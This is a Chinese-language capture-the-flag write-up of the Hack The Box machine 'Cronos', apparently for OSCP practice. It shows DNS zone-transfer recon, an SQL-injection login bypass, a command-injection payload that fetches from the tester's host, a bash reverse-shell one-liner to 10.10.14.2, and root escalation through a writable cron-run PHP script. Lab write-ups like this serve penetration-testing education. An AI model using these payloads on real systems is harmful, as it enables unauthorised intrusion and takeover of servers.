oscp——HTB——Cronos

0x00 前言

oscp——HTB——Cronos_第1张图片

0x01 信息收集

oscp——HTB——Cronos_第2张图片

0x02 Web——Webshell

这里开放了80端口,发现80端口没啥东西,扫目录也没扫出来啥。
oscp——HTB——Cronos_第3张图片
看到开放了53端口,知道是开启了dns服务
使用nslookup

nslookup
server 10.10.10.13
10.10.10.13

这类可以看到10.10.10.13的相对应的域名
oscp——HTB——Cronos_第4张图片

查看一下其他的域名

dig axfr cronos.htb @10.10.10.13

这里可以看到还有其他的域
oscp——HTB——Cronos_第5张图片
测试admin.cronos.htb,发现这里是一个登录框
oscp——HTB——Cronos_第6张图片
这里直接使用完成密码进行登录

' or 1=1 #

oscp——HTB——Cronos_第7张图片
使用下面命令进行测试

8.8.8.8;wget http://10.10.14.2:8000

确实是存在命令执行的
oscp——HTB——Cronos_第8张图片
这里可以修改cmd进行执行命令
oscp——HTB——Cronos_第9张图片
反弹一个shell回来

bash+-c+'bash+-i+>&+/dev/tcp/10.10.14.2/1234+0>&1'&

oscp——HTB——Cronos_第10张图片
拿到userflag
oscp——HTB——Cronos_第11张图片

0x03 Webshell——Rootshell

这里我使用的是LinEnum.sh,检测到有Crontab在执行oscp——HTB——Cronos_第12张图片

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

这里看一下这个文件,是一个php的脚本
在这里插入图片描述
这里直接覆盖anacron
oscp——HTB——Cronos_第13张图片
nc 监听,等就可以了,以及来了,这次非常的快
oscp——HTB——Cronos_第14张图片
拿到flag
oscp——HTB——Cronos_第15张图片

你可能感兴趣的:(oscp)